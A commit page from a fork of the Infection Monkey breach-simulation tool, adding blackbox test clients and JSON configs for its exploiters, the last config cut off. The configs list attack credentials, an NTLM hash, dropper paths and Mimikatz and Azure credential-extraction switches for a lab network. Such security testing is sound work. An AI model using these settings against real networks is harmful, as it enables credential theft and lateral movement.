forked from p15670423/monkey
Merge pull request #455 from guardicore/release/1.7
Release/1.7.0 - Zero Trust, ATT&CK, and others
This commit is contained in:
commit
6c5c6e59bd
|
@ -3,12 +3,6 @@ language: python
|
|||
cache: pip
|
||||
python:
|
||||
- 2.7
|
||||
- 3.6
|
||||
matrix:
|
||||
include:
|
||||
- python: 3.7
|
||||
dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069)
|
||||
sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069)
|
||||
install:
|
||||
#- pip install -r requirements.txt
|
||||
- pip install flake8 # pytest # add another testing frameworks later
|
||||
|
|
|
@ -2,11 +2,13 @@
|
|||
|
||||
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
|
||||
|
||||
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues).
|
||||
Are you about to report a bug? Sorry to hear it. Here's our
|
||||
[Issue tracker](https://github.com/guardicore/monkey/issues).
|
||||
Please try to be as specific as you can about your problem; try to include steps
|
||||
to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
|
||||
|
||||
If you want to contribute new code or fix bugs..
|
||||
If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the
|
||||
maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk).
|
||||
|
||||
|
||||
## Submitting code
|
||||
|
@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c
|
|||
* **Don't** leave your pull request description blank.
|
||||
* **Do** license your code as GPLv3.
|
||||
|
||||
Also, please submit PRs to the develop branch.
|
||||
Also, please submit PRs to the `develop` branch.
|
||||
|
||||
#### Unit tests
|
||||
**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same
|
||||
filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`.
|
||||
|
||||
Please try to read some of the existing unit testing code, so you can see some examples.
|
||||
|
||||
#### Branch naming scheme
|
||||
**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example,
|
||||
`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`.
|
||||
|
||||
## Issues
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
|
|
|
@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
|
|||
* Multiple exploit methods:
|
||||
* SSH
|
||||
* SMB
|
||||
* RDP
|
||||
* WMI
|
||||
* Shellshock
|
||||
* Conficker
|
||||
|
|
|
@ -13,9 +13,10 @@ Don't forget to add python to PATH or do so while installing it via this script.
|
|||
|
||||
## Linux
|
||||
|
||||
You must have root permissions, but there is no need to run the script as root.<br>
|
||||
You must have root permissions, but don't run the script as root.<br>
|
||||
Launch deploy_linux.sh from scripts directory.<br>
|
||||
First argument is an empty directory (script can create one) and second is branch you want to clone.
|
||||
First argument should be an empty directory (script can create one, default is ./infection_monkey) and second is the branch you want to clone (develop by default).
|
||||
Choose a directory where you have all the relevant permissions, for e.g. /home/your_username
|
||||
Example usages:<br>
|
||||
./deploy_linux.sh (deploys under ./infection_monkey)<br>
|
||||
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)<br>
|
||||
|
|
|
@ -22,7 +22,7 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
|
|||
# Other directories and paths ( most likely you dont need to configure)
|
||||
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
|
||||
$MONKEY_DIR = "\monkey\infection_monkey"
|
||||
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
|
||||
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner"
|
||||
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
|
||||
$MK32_DLL = "mk32.dll"
|
||||
$MK64_DLL = "mk64.dll"
|
||||
|
|
|
@ -81,8 +81,7 @@ wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
|
|||
# Allow them to be executed
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME"
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME"
|
||||
|
||||
|
||||
# Get machine type/kernel version
|
||||
kernel=`uname -m`
|
||||
|
@ -130,7 +129,7 @@ python -m pip install --user -r requirements_linux.txt || handle_error
|
|||
# Build samba
|
||||
log_message "Building samba binaries"
|
||||
sudo apt-get install gcc-multilib
|
||||
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
|
||||
cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner
|
||||
sudo chmod +x ./build.sh || handle_error
|
||||
./build.sh
|
||||
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
logs/
|
|
@ -0,0 +1,19 @@
|
|||
# Automatic blackbox tests
|
||||
### Prerequisites
|
||||
1. Download google sdk: https://cloud.google.com/sdk/docs/
|
||||
2. Download service account key for MonkeyZoo project (if you deployed MonkeyZoo via terraform scripts then you already have it).
|
||||
GCP console -> IAM -> service accounts(you can use the same key used to authenticate terraform scripts)
|
||||
3. Deploy the relevant branch + complied executables to the Island machine on GCP.
|
||||
|
||||
### Running the tests
|
||||
In order to execute the entire test suite, you must know the external IP of the Island machine on GCP. You can find
|
||||
this information in the GCP Console `Compute Engine/VM Instances` under _External IP_.
|
||||
|
||||
#### Running in command line
|
||||
Run the following command:
|
||||
|
||||
`monkey\envs\monkey_zoo\blackbox>python -m pytest --island=35.207.152.72:5000 test_blackbox.py`
|
||||
|
||||
#### Running in PyCharm
|
||||
Configure a PyTest configuration with the additional argument `--island=35.207.152.72` on the
|
||||
`monkey\envs\monkey_zoo\blackbox`.
|
|
@ -0,0 +1,17 @@
|
|||
LOG_INIT_MESSAGE = "Analysis didn't run."
|
||||
|
||||
|
||||
class AnalyzerLog(object):
|
||||
|
||||
def __init__(self, analyzer_name):
|
||||
self.contents = LOG_INIT_MESSAGE
|
||||
self.name = analyzer_name
|
||||
|
||||
def clear(self):
|
||||
self.contents = ""
|
||||
|
||||
def add_entry(self, message):
|
||||
self.contents = "{}\n{}".format(self.contents, message)
|
||||
|
||||
def get_contents(self):
|
||||
return "{}: {}\n".format(self.name, self.contents)
|
|
@ -0,0 +1,24 @@
|
|||
from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog
|
||||
|
||||
|
||||
class CommunicationAnalyzer(object):
|
||||
|
||||
def __init__(self, island_client, machine_ips):
|
||||
self.island_client = island_client
|
||||
self.machine_ips = machine_ips
|
||||
self.log = AnalyzerLog(self.__class__.__name__)
|
||||
|
||||
def analyze_test_results(self):
|
||||
self.log.clear()
|
||||
all_monkeys_communicated = True
|
||||
for machine_ip in self.machine_ips:
|
||||
if not self.did_monkey_communicate_back(machine_ip):
|
||||
self.log.add_entry("Monkey from {} didn't communicate back".format(machine_ip))
|
||||
all_monkeys_communicated = False
|
||||
else:
|
||||
self.log.add_entry("Monkey from {} communicated back".format(machine_ip))
|
||||
return all_monkeys_communicated
|
||||
|
||||
def did_monkey_communicate_back(self, machine_ip):
|
||||
query = {'ip_addresses': {'$elemMatch': {'$eq': machine_ip}}}
|
||||
return len(self.island_client.find_monkeys_in_db(query)) > 0
|
|
@ -0,0 +1,11 @@
|
|||
import pytest
|
||||
|
||||
|
||||
def pytest_addoption(parser):
|
||||
parser.addoption("--island", action="store", default="",
|
||||
help="Specify the Monkey Island address (host+port).")
|
||||
|
||||
|
||||
@pytest.fixture(scope='module')
|
||||
def island(request):
|
||||
return request.config.getoption("--island")
|
|
@ -0,0 +1,18 @@
|
|||
import json
|
||||
import os
|
||||
|
||||
|
||||
class IslandConfigParser(object):
|
||||
|
||||
def __init__(self, config_filename):
|
||||
self.config_raw = open(IslandConfigParser.get_conf_file_path(config_filename), 'r').read()
|
||||
self.config_json = json.loads(self.config_raw)
|
||||
|
||||
def get_ips_of_targets(self):
|
||||
return self.config_json['basic_network']['general']['subnet_scan_list']
|
||||
|
||||
@staticmethod
|
||||
def get_conf_file_path(conf_file_name):
|
||||
return os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
|
||||
"island_configs",
|
||||
conf_file_name)
|
|
@ -0,0 +1,87 @@
|
|||
from time import sleep
|
||||
import json
|
||||
|
||||
import logging
|
||||
from bson import json_util
|
||||
|
||||
from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests
|
||||
|
||||
SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5
|
||||
MONKEY_TEST_ENDPOINT = 'api/test/monkey'
|
||||
LOG_TEST_ENDPOINT = 'api/test/log'
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def avoid_race_condition(func):
|
||||
sleep(SLEEP_BETWEEN_REQUESTS_SECONDS)
|
||||
return func
|
||||
|
||||
|
||||
class MonkeyIslandClient(object):
|
||||
def __init__(self, server_address):
|
||||
self.requests = MonkeyIslandRequests(server_address)
|
||||
|
||||
def get_api_status(self):
|
||||
return self.requests.get("api")
|
||||
|
||||
@avoid_race_condition
|
||||
def import_config(self, config_contents):
|
||||
_ = self.requests.post("api/configuration/island", data=config_contents)
|
||||
|
||||
@avoid_race_condition
|
||||
def run_monkey_local(self):
|
||||
response = self.requests.post_json("api/local-monkey", dict_data={"action": "run"})
|
||||
if MonkeyIslandClient.monkey_ran_successfully(response):
|
||||
LOGGER.info("Running the monkey.")
|
||||
else:
|
||||
LOGGER.error("Failed to run the monkey.")
|
||||
assert False
|
||||
|
||||
@staticmethod
|
||||
def monkey_ran_successfully(response):
|
||||
return response.ok and json.loads(response.content)['is_running']
|
||||
|
||||
@avoid_race_condition
|
||||
def kill_all_monkeys(self):
|
||||
if self.requests.get("api", {"action": "killall"}).ok:
|
||||
LOGGER.info("Killing all monkeys after the test.")
|
||||
else:
|
||||
LOGGER.error("Failed to kill all monkeys.")
|
||||
assert False
|
||||
|
||||
@avoid_race_condition
|
||||
def reset_env(self):
|
||||
if self.requests.get("api", {"action": "reset"}).ok:
|
||||
LOGGER.info("Resetting environment after the test.")
|
||||
else:
|
||||
LOGGER.error("Failed to reset the environment.")
|
||||
assert False
|
||||
|
||||
def find_monkeys_in_db(self, query):
|
||||
if query is None:
|
||||
raise TypeError
|
||||
response = self.requests.get(MONKEY_TEST_ENDPOINT,
|
||||
MonkeyIslandClient.form_find_query_for_request(query))
|
||||
return MonkeyIslandClient.get_test_query_results(response)
|
||||
|
||||
def get_all_monkeys_from_db(self):
|
||||
response = self.requests.get(MONKEY_TEST_ENDPOINT,
|
||||
MonkeyIslandClient.form_find_query_for_request(None))
|
||||
return MonkeyIslandClient.get_test_query_results(response)
|
||||
|
||||
def find_log_in_db(self, query):
|
||||
response = self.requests.get(LOG_TEST_ENDPOINT,
|
||||
MonkeyIslandClient.form_find_query_for_request(query))
|
||||
return MonkeyIslandClient.get_test_query_results(response)
|
||||
|
||||
@staticmethod
|
||||
def form_find_query_for_request(query):
|
||||
return {'find_query': json_util.dumps(query)}
|
||||
|
||||
@staticmethod
|
||||
def get_test_query_results(response):
|
||||
return json.loads(response.content)['results']
|
||||
|
||||
def is_all_monkeys_dead(self):
|
||||
query = {'dead': False}
|
||||
return len(self.find_monkeys_in_db(query)) == 0
|
|
@ -0,0 +1,49 @@
|
|||
import requests
|
||||
|
||||
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
|
||||
import logging
|
||||
|
||||
NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
|
||||
'8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MonkeyIslandRequests(object):
|
||||
def __init__(self, server_address):
|
||||
self.addr = "https://{IP}/".format(IP=server_address)
|
||||
self.token = self.try_get_jwt_from_server()
|
||||
|
||||
def try_get_jwt_from_server(self):
|
||||
try:
|
||||
return self.get_jwt_from_server()
|
||||
except requests.ConnectionError as err:
|
||||
LOGGER.error(
|
||||
"Unable to connect to island, aborting! Error information: {}. Server: {}".format(err, self.addr))
|
||||
assert False
|
||||
|
||||
def get_jwt_from_server(self):
|
||||
resp = requests.post(self.addr + "api/auth",
|
||||
json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS},
|
||||
verify=False)
|
||||
return resp.json()["access_token"]
|
||||
|
||||
def get(self, url, data=None):
|
||||
return requests.get(self.addr + url,
|
||||
headers=self.get_jwt_header(),
|
||||
params=data,
|
||||
verify=False)
|
||||
|
||||
def post(self, url, data):
|
||||
return requests.post(self.addr + url,
|
||||
data=data,
|
||||
headers=self.get_jwt_header(),
|
||||
verify=False)
|
||||
|
||||
def post_json(self, url, dict_data):
|
||||
return requests.post(self.addr + url,
|
||||
json=dict_data,
|
||||
headers=self.get_jwt_header(),
|
||||
verify=False)
|
||||
|
||||
def get_jwt_header(self):
|
||||
return {"Authorization": "JWT " + self.token}
|
|
@ -0,0 +1,184 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"Password1!",
|
||||
"1234",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"Administrator",
|
||||
"root",
|
||||
"user"
|
||||
]
|
||||
},
|
||||
"general": {
|
||||
"should_exploit": true
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 2,
|
||||
"local_network_scan": false,
|
||||
"subnet_scan_list": [
|
||||
"10.2.2.4",
|
||||
"10.2.2.5"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"10.2.2.251:5000"
|
||||
],
|
||||
"current_server": "10.2.2.251:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"ElasticGroovyExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
]
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 1,
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"PBA_linux_filename": "",
|
||||
"PBA_windows_filename": "",
|
||||
"custom_PBA_linux_cmd": "",
|
||||
"custom_PBA_windows_cmd": "",
|
||||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": []
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,186 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"Password1!",
|
||||
"1234",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"Administrator",
|
||||
"root",
|
||||
"user"
|
||||
]
|
||||
},
|
||||
"general": {
|
||||
"should_exploit": true
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 2,
|
||||
"local_network_scan": false,
|
||||
"subnet_scan_list": [
|
||||
"10.2.2.3",
|
||||
"10.2.2.10"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"10.2.2.251:5000"
|
||||
],
|
||||
"current_server": "10.2.2.251:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"HadoopExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
]
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [
|
||||
"e1c0dc690821c13b10a41dccfc72e43a"
|
||||
],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 1,
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"PBA_linux_filename": "",
|
||||
"PBA_windows_filename": "",
|
||||
"custom_PBA_linux_cmd": "",
|
||||
"custom_PBA_windows_cmd": "",
|
||||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": []
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,183 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"Password1!",
|
||||
"Xk8VDTsC",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"Administrator",
|
||||
"m0nk3y",
|
||||
"user"
|
||||
]
|
||||
},
|
||||
"general": {
|
||||
"should_exploit": true
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 2,
|
||||
"local_network_scan": false,
|
||||
"subnet_scan_list": [
|
||||
"10.2.2.16"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"10.2.2.251:5000"
|
||||
],
|
||||
"current_server": "10.2.2.251:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"MSSQLExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
]
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 1,
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"PBA_linux_filename": "",
|
||||
"PBA_windows_filename": "",
|
||||
"custom_PBA_linux_cmd": "",
|
||||
"custom_PBA_windows_cmd": "",
|
||||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": []
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,183 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"Password1!",
|
||||
"1234",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"Administrator",
|
||||
"root",
|
||||
"user"
|
||||
]
|
||||
},
|
||||
"general": {
|
||||
"should_exploit": true
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 2,
|
||||
"local_network_scan": false,
|
